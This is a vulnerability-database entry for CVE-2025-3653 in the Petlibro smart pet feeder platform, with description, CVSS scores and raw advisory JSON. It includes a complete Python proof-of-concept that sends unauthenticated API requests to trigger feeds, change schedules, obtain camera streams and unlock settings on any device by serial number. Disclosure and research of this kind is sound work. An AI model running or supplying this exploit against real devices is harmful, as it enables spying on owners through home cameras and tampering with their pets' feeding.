Security Vulnerability Report
中文
CVE-2025-3653 CVSS 7.3 HIGH

CVE-2025-3653

Published: 2026-01-04 00:15:44
Last Modified: 2026-02-03 17:38:41

Description

Petlibro Smart Pet Feeder Platform versions up to 1.7.31 contains an improper access control vulnerability that allows unauthorized device manipulation by accepting arbitrary serial numbers without ownership verification. Attackers can control any device by sending serial numbers to device control APIs to change feeding schedules, trigger manual feeds, access camera feeds, and modify device settings without authorization checks.

CVSS Details

CVSS Score
7.3
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

Configurations (Affected Products)

cpe:2.3:a:petlibro:petlibro:*:*:*:*:-:*:*:* - VULNERABLE
Petlibro Smart Pet Feeder Platform <= 1.7.31

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import json # CVE-2025-3653 PoC - Petlibro Smart Pet Feeder Unauthorized Device Control # Target: Petlibro Smart Pet Feeder Platform API # Vulnerability: Improper Access Control via API endpoint TARGET_BASE_URL = "https://api.petlibro.com" TARGET_SERIAL = "YOUR_TARGET_DEVICE_SERIAL" def exploit_manual_feed(): """ Trigger manual feed on any device without authorization """ endpoint = f"{TARGET_BASE_URL}/v1/device/{TARGET_SERIAL}/feed" payload = { "amount": 50, "action": "manual_feed" } headers = { "Content-Type": "application/json", "User-Agent": "PetlibroApp/1.7.31" } try: response = requests.post(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Manual Feed Request Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False def exploit_modify_schedule(): """ Modify feeding schedule without ownership verification """ endpoint = f"{TARGET_BASE_URL}/v1/device/{TARGET_SERIAL}/schedule" payload = { "schedules": [ {"time": "08:00", "amount": 30}, {"time": "18:00", "amount": 40} ] } headers = { "Content-Type": "application/json", "User-Agent": "PetlibroApp/1.7.31" } try: response = requests.put(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Schedule Modify Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False def exploit_access_camera(): """ Access camera feed without authorization """ endpoint = f"{TARGET_BASE_URL}/v1/device/{TARGET_SERIAL}/camera/stream" headers = { "User-Agent": "PetlibroApp/1.7.31" } try: response = requests.get(endpoint, headers=headers, timeout=10) print(f"[*] Camera Access Status: {response.status_code}") if response.status_code == 200: print(f"[*] Camera stream URL obtained: {response.json().get('stream_url')}") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False def exploit_modify_settings(): """ Modify device settings without authorization """ endpoint = f"{TARGET_BASE_URL}/v1/device/{TARGET_SERIAL}/settings" payload = { "food_level_alert": False, "lock_status": "unlocked" } headers = { "Content-Type": "application/json", "User-Agent": "PetlibroApp/1.7.31" } try: response = requests.put(endpoint, json=payload, headers=headers, timeout=10) print(f"[*] Settings Modify Status: {response.status_code}") print(f"[*] Response: {response.text}") return response.status_code == 200 except Exception as e: print(f"[!] Error: {e}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-3653 PoC - Petlibro Smart Pet Feeder") print("Improper Access Control via API Endpoint") print("=" * 60) print(f"[*] Target Device Serial: {TARGET_SERIAL}") print() print("[*] Testing Manual Feed Exploitation...") exploit_manual_feed() print() print("[*] Testing Schedule Modification...") exploit_modify_schedule() print() print("[*] Testing Camera Access...") exploit_access_camera() print() print("[*] Testing Settings Modification...") exploit_modify_settings() print() print("[*] Exploitation Complete")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-3653", "sourceIdentifier": "[email protected]", "published": "2026-01-04T00:15:44.110", "lastModified": "2026-02-03T17:38:41.423", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Petlibro Smart Pet Feeder Platform versions up to 1.7.31 contains an improper access control vulnerability that allows unauthorized device manipulation by accepting arbitrary serial numbers without ownership verification. Attackers can control any device by sending serial numbers to device control APIs to change feeding schedules, trigger manual feeds, access camera feeds, and modify device settings without authorization checks."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 3.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-612"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:petlibro:petlibro:*:*:*:*:-:*:*:*", "versionEndIncluding": "1.7.31", "matchCriteriaId": "0B604E0A-05A3-46E0-8558-FF3F00F5EF0D"}]}]}], "references": [{"url": "https://bobdahacker.com/blog/petlibro", "source": "[email protected]", "tags": ["Product"]}, {"url": "https://www.vulncheck.com/advisories/petlibro-smart-pet-feeder-through-platform-improper-access-control-via-api-endpoint", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}